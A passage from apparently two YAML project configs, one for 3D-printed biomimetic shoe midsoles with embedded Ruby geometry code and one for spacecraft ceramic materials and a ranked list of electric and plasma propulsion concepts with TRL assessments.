|file|\n\n              # Header (80 bytes)\n\n              header = \"Generated by master_mg_shoes.yml v1.0.0\"\n\n              file.write(header.ljust(HEADER_SIZE, \"\"))\n\n              # Triangle count (4 bytes, little-endian)\n              file.write([triangles.count].pack('V'))\n\n              # Triangles\n              triangles.each do |tri|\n\n                # Normal (3 floats)\n\n                file.write([tri[:normal].x, tri[:normal].y, tri[:normal].z].pack('e3'))\n\n                # Vertices (9 floats)\n                tri[:vertices].each do |v|\n\n                  file.write([v.x, v.y, v.z].pack('e3'))\n\n                end\n\n                # Attribute byte count (2 bytes)\n                file.write([0].pack('v'))\n\n              end\n\n            end\n\n          end\n\n        end\n\nbiomimetic_algorithms:\n  spider_silk_nanostructure:\n\n    ruby: |\n\n      def generate_nanofibrils(diameter_nm: 130, length_um: 50, density: 0.3)\n\n        fibrils = []\n\n        # Coat-skin-core structure\n        core_diameter = diameter_nm * 0.6\n\n        skin_thickness = diameter_nm * 0.2\n\n        coat_thickness = diameter_nm * 0.2\n\n        # Beta-sheet crystal regions (oriented along fibril axis)\n        crystal_spacing = 20  # nm\n\n        crystal_length = 10   # nm\n\n        (length_um * 1000 / crystal_spacing).to_i.times do |i|\n          z_pos = i * crystal_spacing\n\n          fibrils &lt;&lt; {\n            type: :beta_sheet_crystal,\n\n            center: [0, 0, z_pos],\n\n            length: crystal_length,\n\n            diameter: core_diameter,\n\n            stiffness: :high\n\n          }\n\n        end\n\n        fibrils\n      end\n\n  nacre_brick_mortar:\n    ruby: |\n\n      def generate_platelet_structure(width_um: 5, thickness_nm: 500, overlap: 0.5)\n\n        platelets = []\n\n        layer_offset = width_um * (1 - overlap)\n\n        # Mineral phase (aragonite-like ceramic from MatterGen)\n        mineral_composition = mattergen_output\n\n        # Organic interface (polymer matrix)\n        interface_thickness = 30  # nm\n\n        z = 0\n        layer = 0\n\n        while z &lt; target_height_um * 1000\n          x_offset = (layer % 2) * layer_offset / 2\n\n          x = x_offset\n          while x &lt; target_width_um\n\n            platelets &lt;&lt; {\n\n              type: :mineral_platelet,\n\n              composition: mineral_composition,\n\n              position: [x, 0, z],\n\n              dimensions: [width_um, width_um, thickness_nm / 1000.0],\n\n              orientation: [0, 0, 1]\n\n            }\n\n            platelets &lt;&lt; {\n              type: :organic_interface,\n\n              thickness: interface_thickness / 1000.0,\n\n              position: [x, 0, z + thickness_nm / 1000.0],\n\n              shear_strength: :moderate\n\n            }\n\n            x += width_um\n          end\n\n          z += (thickness_nm + interface_thickness) / 1000.0\n          layer += 1\n\n        end\n\n        platelets\n      end\n\ntesting:\n  simulations:\n\n    mechanical:\n\n      software: calculix\n\n      tests:\n\n        - iso_20344_compression\n\n        - iso_20344_impact\n\n        - astm_d2240_hardness\n\n        - din_53516_abrasion\n\n      boundary_conditions:\n        heel_strike:\n\n          force: 2500  # N\n\n          contact_area: 20  # cm\u00b2\n\n          duration: 0.05  # seconds\n\n    thermal:\n      software: openfoam\n\n      conditions:\n\n        cold: -20  # \u00b0C\n\n        normal: 20\n\n        hot: 50\n\n        wet: saturated_water\n\n    biodegradation:\n      standard: iso_17088\n\n      conditions: [compost, soil, marine]\n\n      duration: 5  # years\n\n      measurement: mass_loss_co2_production\n\ncost:\n  ceramic_synthesis:\n\n    spark_plasma_sintering: {cost_per_kg: 200, time_hours: 4}\n\n    sol_gel: {cost_per_kg: 150, time_hours: 24}\n\n    hydrothermal: {cost_per_kg: 100, time_hours: 48}\n\n  polymer_matrix:\n    pa11_bio: {cost_per_kg: 35}\n\n    tpu_bio: {cost_per_kg: 45}\n\n    pla: {cost_per_kg: 25}\n\n  printing:\n    carbon_dls: {cost_per_part: 25, time_hours: 2}\n\n    hp_mjf: {cost_per_part: 18, time_hours: 8}\n\n  target:\n    midsole_unit_cost: {max: 12, currency: USD}\n\n    upper_unit_cost: {max: 8, currency: USD}\n\n    total_shoe_cogs: {max: 35, currency: USD}\n\ndocumentation:\n  material_card:\n\n    format: markdown\n\n    sections:\n\n      - composition_and_structure\n\n      - predicted_properties_with_uncertainty\n\n      - synthesis_pathway\n\n      - print_parameters\n\n      - biomimetic_inspiration\n\n      - sustainability_metrics\n\n      - cost_breakdown\n\n      - dft_validation_results\n\n      - experimental_synthesis_status\n\n  stl_naming:\n    pattern: \"syre_midsole_{material_id}_{lattice_type}_{density}_{version}.stl\"\n\n    example: \"syre_midsole_mg2025001_gyroid_025_v1.stl\"\n\n  readme:\n    include:\n\n      - overview_of_discovery_process\n\n      - mattergen_parameters_used\n\n      - adversarial_validation_results\n\n      - visualization_instructions\n\n      - print_settings_recommendations\n\n      - testing_protocol_references\n```\n\n## `bp/mg_space.yml`\n```yaml\n# master_mg_spacecraft.yml v1.0.0\n# Spacecraft UHTC/MHD Materials Discovery Framework\n\n# MatterGen Integration + Plasma Physics + Ceramic-Metal Composites\n\nextends: master.yml\nmeta:\n  version: 2.0.0\n\n  domain: spacecraft_materials_discovery\n\n  parent: master.yml v32.0.0\n\n  purpose: \"Generate novel UHTC compositions for no-moving-parts propulsion via MatterGen, validate 15 ranked propulsion concepts from TRL 9 (Hall/ion) to TRL 3 (atmospheric MHD), visualize plasma-interface geometries in Mittsu, export hull/thruster components for monolithic saucer structure\"\n\n  spacecraft_context:\n    configuration: saucer_like_disc\n\n    propulsion_philosophy: no_moving_parts_monolithic_structure\n\n    operational_envelope:\n\n      altitude: [0, 100]  # km (atmospheric + near-space)\n\n      velocity: [0, 15]   # Mach\n\n      temperature: [220, 2200]  # K\n\n    design_philosophy: brutalist_functional_electromagnetic\n# YAML anchors for DRY compliance (master.yml v32.0.0)\nproperty_spec: &amp;property_spec\n\n  min: null\n\n  max: null\n\n  unit: null\n\n  priority: null\n\nvalidation_pipeline: &amp;validation_pipeline\n  dft_engine: vasp_paw\n\n  phonon_check: mandatory\n\n  elastic_constants: full_tensor\n\n  magnetic_properties: spin_polarized\n\n  neutron_activation: tendl_2023_database\n\ntrl_assessment: &amp;trl_assessment\n  level: null\n\n  flight_heritage: null\n\n  last_demonstration: null\n\n  readiness_date: null\n\n  output_targets:\n    visualization: mittsu_opengl_with_plasma_overlay\n\n    export_format: [step_for_cnc, stl_for_ceramic_printing, iges_for_fea]\n\n    material_specs: yaml_with_em_properties\n\nmaterials:\n  domains:\n\n    hull_structure:\n\n      target_properties:\n\n        melting_point:\n\n          &lt;&lt;: *property_spec\n\n          min: 2800\n\n          unit: K\n\n          priority: critical\n\n        bulk_modulus:\n\n          &lt;&lt;: *property_spec\n\n          min: 300\n\n          max: 500\n\n          unit: GPa\n\n          priority: critical\n\n        fracture_toughness:\n\n          &lt;&lt;: *property_spec\n\n          min: 5\n\n          max: 10\n\n          unit: \"MPa\u00b7m^0.5\"\n\n          priority: critical\n\n        thermal_conductivity:\n\n          &lt;&lt;: *property_spec\n\n          min: 40\n\n          max: 100\n\n          unit: \"W/(m\u00b7K)\"\n\n          priority: high\n\n        thermal_expansion:\n\n          &lt;&lt;: *property_spec\n\n          max: 8e-6\n\n          unit: \"1/K\"\n\n          priority: high\n\n        electrical_conductivity:\n\n          &lt;&lt;: *property_spec\n\n          min: 1e4\n\n          max: 1e6\n\n          unit: \"S/m\"\n\n          priority: medium\n\n        density:\n\n          &lt;&lt;: *property_spec\n\n          max: 8000\n\n          unit: \"kg/m\u00b3\"\n\n          priority: medium\n\n      propulsion_integration:\n        primary_system: hall_thruster_array_or_ion_cluster\n\n        secondary_system: atmospheric_mhd_for_dual_regime\n\n        tertiary_system: pulsed_plasma_distributed\n\n        power_requirement: {min: 100, max: 30000, unit: kW}\n\n        thermal_load: {max: 10, unit: \"MW/m\u00b2\"}\n\n      environmental:\n        oxidation_resistance: {require: true, conditions: \"1800K + air\", priority: veto}\n\n        plasma_erosion:\n\n          &lt;&lt;: *property_spec\n\n          max: 0.1\n\n          unit: \"mm/hour\"\n\n          priority: critical\n\n        neutron_activation: {low_activation_elements: true, priority: veto}\n\n        thermal_shock:\n\n          &lt;&lt;: *property_spec\n\n          delta_t: 500\n\n          unit: K\n\n          priority: high\n\n      manufacturing:\n        process: [spark_plasma_sintering, hot_isostatic_pressing, chemical_vapor_infiltration]\n\n        grain_size: {target: 5, unit: um}\n\n        porosity: {max: 0.02, unit: ratio}\n\n        surface_roughness: {max: 1.6, unit: um_ra}\n\n    propulsion_electrodes:\n      note: \"Material requirements vary by propulsion system (Hall/ion/MPD/MHD)\"\n\n      hall_thruster_components:\n        target_properties:\n\n          melting_point:\n\n            &lt;&lt;: *property_spec\n\n            min: 2800\n\n            unit: K\n\n            priority: critical\n\n          sputtering_yield:\n\n            &lt;&lt;: *property_spec\n\n            max: 0.5\n\n            unit: \"atoms/ion\"\n\n            priority: critical\n\n          thermal_conductivity:\n\n            &lt;&lt;: *property_spec\n\n            min: 100\n\n            unit: \"W/(m\u00b7K)\"\n\n            priority: high\n\n        components:\n          discharge_channel: boron_nitride_ceramic\n\n          anode: [molybdenum, carbon_carbon_composite]\n\n          cathode: tungsten_hollow_cathode\n\n          magnets: [samarium_cobalt, neodymium_iron_boron]\n\n      ion_engine_grids:\n        target_properties:\n\n          sputtering_resistance: critical\n\n          electrical_conductivity:\n\n            &lt;&lt;: *property_spec\n\n            min: 1e5\n\n            unit: \"S/m\"\n\n            priority: high\n\n          thermal_expansion_match: critical\n\n        materials:\n          grids: [molybdenum, carbon_carbon_composite]\n\n          discharge_chamber: pyrolytic_graphite\n\n          neutralizer: tungsten_hollow_cathode\n\n      mpd_electrodes:\n        target_properties:\n\n          melting_point:\n\n            &lt;&lt;: *property_spec\n\n            min: 3000\n\n            unit: K\n\n            priority: critical\n\n          electrical_conductivity:\n\n            &lt;&lt;: *property_spec\n\n            min: 1e5\n\n            unit: \"S/m\"\n\n            priority: critical\n\n          work_function:\n\n            &lt;&lt;: *property_spec\n\n            max: 4.5\n\n            unit: eV\n\n            priority: high\n\n          current_density_tolerance:\n\n            &lt;&lt;: *property_spec\n\n            min: 100\n\n            unit: \"A/cm\u00b2\"\n\n            priority: critical\n\n        materials:\n          cathode: [tungsten, thoriated_tungsten]\n\n          anode: [graphite, tungsten, refractory_metals]\n\n          magnets: rebco_superconducting_at_77k\n\n          cooling: [liquid_nitrogen, cryocooler]\n\n      mhd_electrodes:\n        target_properties:\n\n          melting_point:\n\n            &lt;&lt;: *property_spec\n\n            min: 2500\n\n            unit: K\n\n            priority: critical\n\n          electrical_conductivity:\n\n            &lt;&lt;: *property_spec\n\n            min: 1e4\n\n            unit: \"S/m\"\n\n            priority: critical\n\n          plasma_erosion_resistance:\n\n            &lt;&lt;: *property_spec\n\n            max: 0.1\n\n            unit: \"mm/hour\"\n\n            priority: critical\n\n        geometry: segmented_faraday_electrodes\n        material: [tungsten, graphite_with_uhtc_coating]\n\n        magnetic_field_compatibility: {up_to: 20, unit: tesla}\n\n        manufacturing:\n          process: [powder_metallurgy, arc_melting, electron_beam_melting, cvd_coating]\n\n          purity: {min: 0.9999, note: \"Four nines minimum\"}\n\n          grain_orientation: {prefer: \"&lt;100&gt;\", note: \"Lower work function\"}\n\n    plasma_window:\n      target_properties:\n\n        melting_point: {min: 2500, unit: K, priority: critical}\n\n        thermal_conductivity: {min: 100, unit: \"W/(m\u00b7K)\", priority: critical}\n\n        electrical_resistivity: {max: 1e-5, unit: \"\u03a9\u00b7m\", priority: medium}\n\n        thermal_emissivity: {min: 0.8, unit: ratio, priority: high}\n\n        neutron_transparency: {high: true, priority: medium}\n\n      geometry:\n        thickness: {min: 5, max: 20, unit: mm}\n\n        surface_area: {target: 2, unit: m\u00b2}\n\n        curvature: saucer_conformal\n\n    thermal_protection:\n      target_properties:\n\n        ablation_rate: {max: 0.05, unit: \"mm/s\", priority: veto}\n\n        heat_of_ablation: {min: 20, unit: \"MJ/kg\", priority: critical}\n\n        char_layer_strength: {min: 10, unit: MPa, priority: high}\n\n        thermal_conductivity: {max: 5, unit: \"W/(m\u00b7K)\", priority: high}\n\n      composition:\n        matrix: carbon_phenolic_or_silica_phenolic\n\n        reinforcement: carbon_fiber_or_ceramic_fiber\n\n        gradient: density_graded_5_to_20_percent\n\n  mattergen:\n    api_endpoint: \"http://materials-service.syre.local:8000\"\n\n    model: \"microsoft/mattergen-v1\"\n\n    constraints:\n      uhtc_base:\n\n        composition_space:\n\n          primary_elements: [Zr, Hf, Ta, W, Mo, Nb, Ti]\n\n          secondary_elements: [B, C, Si, N]\n\n          ternary_additions: [La, Y, Sc, Al, Cr]\n\n          exclude_elements: [Co, Eu, Dy, Gd, Tb, radioactive]\n\n          max_atoms: 20\n\n          symmetry_preference: [cubic, hexagonal]\n\n        property_targets:\n          bulk_modulus: {min: 300, max: 500, unit: GPa}\n\n          shear_modulus: {min: 150, max: 300, unit: GPa}\n\n          formation_energy: {max: -0.8, unit: \"eV/atom\"}\n\n          melting_point: {min: 2800, unit: K, empirical_model: jarvis_2018}\n\n        em_properties:\n          electrical_conductivity: {min: 1e4, unit: \"S/m\"}\n\n          magnetic_susceptibility: {diamagnetic_preferred: true}\n\n          dielectric_constant: {max: 50, priority: low}\n\n      electrode_material:\n        composition_space:\n\n          primary_elements: [W, Ta, Mo, Re, Ir, Os, Ru]\n\n          dopants: [La, Th, Ce, Y]\n\n          exclude_elements: [radioactive_above_trace]\n\n          max_atoms: 10\n\n        property_targets:\n          bulk_modulus: {min: 250, unit: GPa}\n\n          work_function: {max: 4.5, unit: eV}\n\n          thermal_conductivity: {min: 100, unit: \"W/(m\u00b7K)\"}\n\n      cmc_reinforcement:\n        composition_space:\n\n          fiber_phase: [SiC, C, Al2O3, B4C]\n\n          matrix_phase: [SiC, Si3N4, AlN, BN]\n\n          interface: [PyC, BN, carbon_nanotube]\n\n        property_targets:\n          tensile_strength: {min: 300, unit: MPa}\n\n          strain_to_failure: {min: 0.005, unit: ratio}\n\n          oxidation_onset: {min: 1200, unit: K}\n\n    generation:\n      n_candidates: 15\n\n      guidance_factor: 3.0\n\n      diffusion_steps: 1500\n\n      temperature: 0.6\n\n      random_seeds: [1337, 2718, 3141, 4669, 5779, 6997, 8009, 9103, 10111, 11213, 12239, 13327, 14419, 15511, 16631]\n\n    validation:\n      &lt;&lt;: *validation_pipeline\n\n      propulsion_specific:\n\n        hall_thruster: {focus: [low_sputtering_yield, thermal_shock, dielectric_strength]}\n\n        ion_grids: {focus: [sputtering_resistance, thermal_expansion_match, conductivity]}\n\n        mpd: {focus: [ultra_high_melting_point, high_current_density, low_work_function]}\n\n        mhd: {focus: [plasma_erosion_resistance, thermal_conductivity, em_compatibility]}\n\npropulsion:\n  philosophy: no_moving_parts_validated_physics_only\n\n  evidence_basis: \"EmDrive/Mach effect debunked (Dresden 2021); reactionless thrust impossible per conservation of momentum\"\n\n  architecture:\n    primary: electric_propulsion_array\n\n    secondary: atmospheric_mhd_for_dual_regime\n\n    tertiary: photon_pressure_cruise\n\n    power_source: compact_nuclear_or_solar_array\n\n  implementation_roadmap:\n    near_term: [hall_thruster_array, gridded_ion_cluster, pulsed_plasma]\n\n    mid_term: [mpd_superconducting, atmospheric_mhd, vasimr]\n\n    far_term: [frc_plasma, mhd_reentry_power]\n\n    never: [emdrive, mach_effect, quantum_vacuum, podkletnov, pais]\n\n  concepts:\n    # TRL 9 - FLIGHT PROVEN\n\n    hall_thruster_array:\n\n      &lt;&lt;: *trl_assessment\n\n      level: 9\n\n      flight_heritage: \"6000+ Starlink satellites, 50+ missions since 1971\"\n\n      last_demonstration: \"NASA AEPS 12.5kW development 2023-2025\"\n\n      readiness_date: now\n\n      rank: 1\n      realism_score: 10\n\n      physics: \"Crossed E/B fields trap electrons, accelerate ions; quasi-neutral plasma exhaust\"\n\n      configuration:\n        geometry: circumferential_array_8_to_12_units\n\n        thrust_vectoring: magnetic_field_steering_no_gimbal\n\n        saucer_advantage: \"360\u00b0 symmetric placement, uniform reaction force distribution\"\n\n        reference_thruster: \"U Michigan X3 nested Hall - 5.4 N at 100 kW\"\n\n      performance:\n        specific_impulse: {min: 1500, max: 3000, unit: seconds}\n\n        thrust_to_power: {min: 60, max: 100, unit: \"mN/kW\"}\n\n        efficiency: {min: 0.50, max: 0.76, unit: ratio}\n\n        mass_utilization: {min: 0.90, max: 0.99, unit: ratio}\n\n        electrode_life: {min: 50000, unit: hours}\n\n      propellant:\n        primary: xenon\n\n        alternatives: [krypton, argon]\n\n        storage: \"High-pressure tanks, ~850 USD/kg for Xe\"\n\n      materials:\n        discharge_channel: boron_nitride_ceramic\n\n        magnets: [samarium_cobalt, neodymium_iron_boron]\n\n        anode: [molybdenum, carbon_carbon_composite]\n\n        cathode: tungsten_hollow_cathode\n\n      challenges:\n        - propellant_mass_for_extended_missions\n\n        - plume_interaction_in_clusters\n\n        - power_processing_unit_mass_at_high_power\n\n      cost_estimate: {development: \"50M-200M USD\", unit_cost: \"500K-2M USD per thruster\"}\n    gridded_ion_cluster:\n      &lt;&lt;: *trl_assessment\n\n      level: 9\n\n      flight_heritage: \"Dawn (2007-2018), DART (2021-2022), Deep Space 1\"\n\n      last_demonstration: \"NASA NEXT-C 17M N\u00b7s total impulse\"\n\n      readiness_date: now\n\n      rank: 2\n      realism_score: 10\n\n      physics: \"Electron bombardment ionization + electrostatic acceleration via charged grids\"\n\n      configuration:\n        geometry: central_cluster_4_to_8_units\n\n        thrust_vectoring: differential_throttling\n\n        saucer_advantage: \"Central hub placement, symmetric propellant distribution\"\n\n        reference: \"NASA NEXT-C performance baseline\"\n\n      performance:\n        specific_impulse: {target: 4220, unit: seconds}\n\n        thrust_range: {min: 25, max: 235, unit: \"mN per thruster\"}\n\n        power_range: {min: 0.6, max: 7.4, unit: kW}\n\n        efficiency: {target: 0.70, unit: ratio}\n\n        total_impulse: {min: 17, max: 18, unit: \"million N\u00b7s per thruster\"}\n\n        exhaust_velocity: {min: 30, max: 40, unit: \"km/s\"}\n\n      mass:\n        thruster: {max: 14, unit: kg}\n\n        power_processing: {max: 36, unit: kg}\n\n      materials:\n        grids: [molybdenum, carbon_carbon_composite]\n\n        discharge_chamber: pyrolytic_graphite\n\n        structure: carbon_fiber_reinforced_polymer\n\n      challenges:\n        - grid_erosion_from_ion_impingement\n\n        - xenon_cost_850_usd_per_kg\n\n        - power_processing_complexity\n\n        - low_thrust_density_long_mission_durations\n\n    pulsed_plasma_thruster:\n      &lt;&lt;: *trl_assessment\n\n      level: 7-9\n\n      flight_heritage: \"Zond 2 (1964), EO-1 (2000-2002), FalconSat-3 (2007)\"\n\n      last_demonstration: \"CU Aerospace FPPT scheduled DUPLEX Sept 2025\"\n\n      readiness_date: now\n\n      rank: 3\n      realism_score: 9\n\n      physics: \"Capacitor discharge ablates PTFE, Lorentz force (j\u00d7B) accelerates plasma\"\n\n      configuration:\n        geometry: distributed_modules_embedded_in_hull\n\n        application: attitude_control_and_secondary_propulsion\n\n        integration: teflon_fuel_bars_in_structural_panels\n\n      performance:\n        power: {min: 1, max: 150, unit: W_average}\n\n        impulse_bit: {min: 10, max: 100, unit: \"\u03bcN\u00b7s per pulse\"}\n\n        specific_impulse_ptfe: {min: 1000, max: 1400, unit: seconds}\n\n        specific_impulse_gas: {max: 5000, unit: seconds}\n\n        efficiency: {min: 0.15, max: 0.30, unit: ratio}\n\n        pulse_rate: {min: 1, max: 10, unit: Hz}\n\n      materials:\n        propellant: ptfe_teflon\n\n        electrodes: [tungsten, carbon]\n\n        insulators: ceramic\n\n        capacitors: compact_high_voltage\n\n      advantages:\n        - completely_solid_state\n\n        - propellant_embedded_in_structure\n\n        - 60_years_flight_heritage\n\n        - ideal_cubesat_to_small_satellite\n\n    # TRL 4-5 - LABORATORY VALIDATED\n    mpd_superconducting:\n\n      &lt;&lt;: *trl_assessment\n\n      level: 4-5\n\n      flight_heritage: \"EPEX on Space Flyer Unit (1995-1996) only flight test\"\n\n      last_demonstration: \"150 kW superconducting MPD, 76.6% efficiency, 2021\"\n\n      readiness_date: 5-10 years\n\n      rank: 4\n      realism_score: 8\n\n      physics: \"High-current arc creates self-field; superconducting magnets multiply efficiency 5-10\u00d7\"\n\n      configuration:\n        geometry: central_cluster_with_toroidal_hts_magnets\n\n        placement: central_hub_fires_through_peripheral_ports\n\n        saucer_advantage: \"Disc accommodates large magnet mass in hub\"\n\n        magnet_type: rebco_hts_at_77k_or_20k\n\n      performance_demonstrated_2021:\n        power: {demonstrated: 150, target: 1000, theoretical_max: 30000, unit: kW}\n\n        thrust: {at_150kw: 4, theoretical: 200, unit: N}\n\n        specific_impulse: {demonstrated: 5714, unit: seconds}\n\n        efficiency: {demonstrated: 0.766, applied_field: 0.56, unit: tesla}\n\n        exhaust_velocity: {demonstrated: 56, unit: \"km/s\"}\n\n      materials:\n        superconductor: rebco_tape_rare_earth_barium_copper_oxide\n\n        cathode: [tungsten, thoriated_tungsten]\n\n        anode: [graphite, tungsten, refractory_metals]\n\n        cooling: [liquid_nitrogen, cryocooler_to_77k]\n\n        reference: \"Commonwealth Fusion 20T at 20K REBCO validates magnet tech\"\n\n      challenges:\n        - cryogenic_cooling_77k_for_rebco\n\n        - electrode_erosion_above_100_a_per_cm2\n\n        - power_system_mass_for_mw_class\n\n        - thermal_management_multi_mw_dissipation\n\n      cost_estimate: {development: \"200M-800M USD\", timeline: \"5-10 years\"}\n    atmospheric_mhd:\n      &lt;&lt;: *trl_assessment\n\n      level: 3-4\n\n      flight_heritage: none\n\n      last_demonstration: \"NASA MAPX 50% efficiency, 80% velocity increase\"\n\n      readiness_date: 10-15 years\n\n      rank: 5\n      realism_score: 7\n\n      physics: \"Lorentz force (j\u00d7B) on ionized air; disc geometry enables 360\u00b0 electrode placement\"\n\n      configuration:\n        geometry: circumferential_segmented_faraday_electrodes\n\n        current_path: diagonal_for_hall_neutralization\n\n        magnet: central_2t_electromagnet_water_cooled_or_sc\n\n        ionization: [arc_heater, rf_discharge, alkali_seeding_cs_k]\n\n        saucer_advantage: \"OPTIMAL GEOMETRY - uniform radial acceleration, natural Coand\u0103 airfoil\"\n\n        reference: \"Subrata Roy WEAV research explicitly identifies disc as ideal\"\n\n      performance_nasa_mapx:\n        power: {min: 1500, max: 30000, unit: kW}\n\n        global_efficiency: {demonstrated: 0.50, unit: ratio}\n\n        velocity_increase: {demonstrated: 0.80, unit: ratio}\n\n        exhaust_velocity: {min: 15, max: 100, unit: \"km/s\"}\n\n        altitude: {air_breathing: [0, 24384], unlimited_with_propellant: true, unit: m}\n\n      materials:\n        plasma_facing: [zrb2, hfb2, uhtc_composites]\n\n        electrodes: [tungsten, graphite]\n\n        magnets: rebco_for_weight_reduction\n\n        power_electronics: sic_semiconductor\n\n      related_programs:\n        darpa_pump: \"20 Tesla REBCO for undersea MHD - magnet tech proven\"\n\n        nasa_mapx: \"Magnetohydrodynamic Augmented Propulsion Experiment\"\n\n        lightcraft: \"Leik Myrabo MHD disc concepts\"\n\n      challenges:\n        - mw_class_compact_power_generation\n\n        - air_ionization_penalty_below_mach_12\n\n        - electrode_erosion_atmospheric_plasma\n\n        - aircraft_integration_multi_mw_systems\n\n      cost_estimate: {development: \"500M-2B USD\", timeline: \"10-15 years\"}\n    vasimr_electrodeless:\n      &lt;&lt;: *trl_assessment\n\n      level: 5-6\n\n      flight_heritage: none\n\n      last_demonstration: \"VX-200 200 kW ground test, 72% efficiency\"\n\n      readiness_date: 10-20 years\n\n      rank: 6\n      realism_score: 7\n\n      physics: \"Helicon RF ionization + ICH heating to 1-2M K + magnetic nozzle\"\n\n      configuration:\n        geometry: central_engine_with_sc_magnetic_nozzle\n\n        plasma: toroidal_confinement_compatible_with_disc\n\n        isp: variable_for_mission_optimization\n\n      performance_vx200:\n        power: {demonstrated: 200, unit: kW}\n\n        thrust: {min: 5.7, max: 5.8, unit: N}\n\n        specific_impulse: {target: 5000, unit: seconds}\n\n        exhaust_velocity: {target: 50, unit: \"km/s\"}\n\n        efficiency: {demonstrated: 0.72, uncertainty: 0.09, unit: ratio}\n\n        power_density: {min: 5, unit: \"MW/m\u00b2\"}\n\n      challenges:\n        - requires_200plus_kw_nuclear_or_solar\n\n        - superconducting_magnet_cryogenics\n\n        - plasma_detachment_from_nozzle\n\n        - iss_test_repeatedly_delayed_decades\n\n      materials:\n        coils: rebco_superconducting\n\n        antenna: [copper, ceramics]\n\n        propellant: [argon, hydrogen]\n\n        thermal: advanced_management_required\n\n    # TRL 2-4 - EARLY RESEARCH\n    electrohydrodynamic_corona:\n\n      &lt;&lt;: *trl_assessment\n\n      level: 6\n\n      flight_heritage: \"MIT sustained EHD aircraft flight 2018\"\n\n      last_demonstration: \"MIT aircraft 71m altitude, 50g vehicle\"\n\n      readiness_date: 5-10 years_atmospheric_only\n\n      rank: 7\n      realism_score: 6\n\n      physics: \"Corona discharge ionizes air; ions accelerate through E-field creating ionic wind\"\n\n      configuration:\n        geometry: concentric_ring_emitters_upper_mesh_collector_lower\n\n        electrode: wire_to_cylinder_geometry\n\n        control: multiple_zones_for_attitude\n\n      performance:\n        thrust_to_power: {min: 20, max: 100, unit: \"mN/W\"}\n\n        thrust_density_area: {max: 3.3, unit: \"N/m\u00b2\"}\n\n        thrust_density_volume: {max: 15, unit: \"N/m\u00b3\"}\n\n        voltage: {min: 10, max: 70, unit: kV}\n\n        efficiency_kinetic: {max: 0.02, unit: ratio}\n\n        thrust_to_weight: {max: 17, unit: ratio}\n\n      limitations:\n        - atmospheric_only_fails_vacuum\n\n        - altitude_degradation: \"26 mN/W @ 1atm \u2192 0.5 mN/W @ 20km\"\n\n        - very_low_efficiency\n\n        - ozone_generation\n\n      materials:\n        emitters: [tungsten_wire, stainless_steel]\n\n        collectors: aluminum_mesh\n\n        insulators: high_voltage_ceramic\n\n        structure: lightweight_dielectric\n\n      application: \"Low-altitude loitering, not space-capable\"\n    laser_ablation_beamed:\n      &lt;&lt;: *trl_assessment\n\n      level: 5\n\n      flight_heritage: \"Leik Myrabo Lightcraft 71m altitude 2000\"\n\n      last_demonstration: \"White Sands 9-10 kW laser demonstrations\"\n\n      readiness_date: research_only\n\n      rank: 8\n      realism_score: 5\n\n      physics: \"Ground laser heats air to 30,000\u00b0F, explosive plasma at 20-28 Hz\"\n\n      configuration:\n        geometry: parabolic_lower_reflector_for_10_6um_co2\n\n        detonation: annular_chamber_around_perimeter\n\n        saucer_advantage: \"Natural focal surface for parabolic geometry\"\n\n      performance_white_sands:\n        laser_power: {min: 9, max: 10, unit: kW_pulsed}\n\n        vehicle_mass: {record: 0.0506, unit: kg}\n\n        altitude_achieved: {record: 71, unit: m}\n\n        coupling: {demonstrated: 56, unit: \"\u03bcN/W\"}\n\n        isp_theoretical: {min: 1000, max: 3660, unit: seconds}\n\n      limitations:\n        - requires_massive_ground_infrastructure\n\n        - atmospheric_beam_propagation\n\n        - tracking_difficulty_long_distance\n\n        - craft_size_limited_by_beam_power\n\n      application: \"Demonstrations only; orbital delivery impractical (requires 100+ GW)\"\n    plasma_window_interface:\n      &lt;&lt;: *trl_assessment\n\n      level: 3-4\n\n      flight_heritage: none\n\n      last_demonstration: \"Brookhaven 2.5 atm differential, 3mm aperture\"\n\n      readiness_date: 15-25 years\n\n      rank: 9\n      realism_score: 5\n\n      physics: \"DC arc at 12,000K creates viscous seal - density 1/40 atm while matching pressure\"\n\n      configuration:\n        geometry: ring_plasma_around_disc_perimeter\n\n        application: drag_reduction_and_thermal_protection\n\n        enables: vacuum_propulsion_through_atmosphere\n\n      performance_brookhaven:\n        pressure_differential: {min: 2.5, unit: atmospheres}\n\n        aperture_tested: {diameter: 3, unit: mm}\n\n        power_per_inch: {approximately: 20, unit: kW}\n\n        pressure_reduction: {factor: 228.6, vs: differential_pumping}\n\n      challenges:\n        - scaling_to_spacecraft_apertures\n\n        - plasma_stability_high_dynamic_pressure\n\n        - integration_with_propulsion_exhaust\n\n      application: \"Enabling technology for multi-regime operation, not primary propulsion\"\n    solar_sail_lcd:\n      &lt;&lt;: *trl_assessment\n\n      level: 9\n\n      flight_heritage: \"IKAROS (2010), LightSail 2 (2019), NASA ACS3 (2024)\"\n\n      last_demonstration: \"NASA Solar Cruiser 1200+ m\u00b2 planned 2025+\"\n\n      readiness_date: now\n\n      rank: 10\n      realism_score: 9_deep_space_3_maneuvering\n\n      physics: \"Solar radiation pressure 9 \u03bcN/m\u00b2 at 1 AU; LCD reflectance control\"\n\n      configuration:\n        geometry: deployable_disc_shaped_sail\n\n        control: lcd_panels_for_attitude_no_moving_parts\n\n        integration: embedded_thin_film_solar_cells\n\n        saucer_advantage: \"Natural disc geometry, IKAROS heritage\"\n\n      performance_ikaros_lightsail:\n        areal_density: {approximately: 10, unit: \"g/m\u00b2\"}\n\n        thrust_per_200m2: {approximately: 1, unit: mN_at_1au}\n\n        specific_impulse: infinite_propellant_free\n\n        attitude_control: 80_lcd_panels_demonstrated\n\n      limitations:\n        - extremely_low_thrust\n\n        - requires_large_area\n\n        - deployment_complexity\n\n        - solar_pressure_decreases_r_squared\n\n      application: \"Deep space cruise, not near-Earth maneuvering\"\n    frc_plasma:\n      &lt;&lt;: *trl_assessment\n\n      level: 2-3\n\n      flight_heritage: none\n\n      last_demonstration: \"TAE Technologies, Helion fusion experiments\"\n\n      readiness_date: 15-25 years\n\n      rank: 11\n      realism_score: 5\n\n      physics: \"Self-organized plasma torus with reversed B-field; compact high-beta confinement\"\n\n      configuration:\n        geometry: toroidal_frc_in_central_hub\n\n        ejection: magnetic_nozzle_plasmoid_acceleration\n\n        saucer_advantage: \"Axisymmetric matches disc structure\"\n\n      performance_theoretical:\n        specific_impulse: {min: 2000, max: 10000, unit: seconds}\n\n        efficiency: {projected: 0.50, max: 0.70, unit: ratio}\n\n        plasma_density: {min: 1e19, max: 1e21, unit: \"m\u207b\u00b3\"}\n\n        confinement: self_organized_field_reversal\n\n      challenges:\n        - 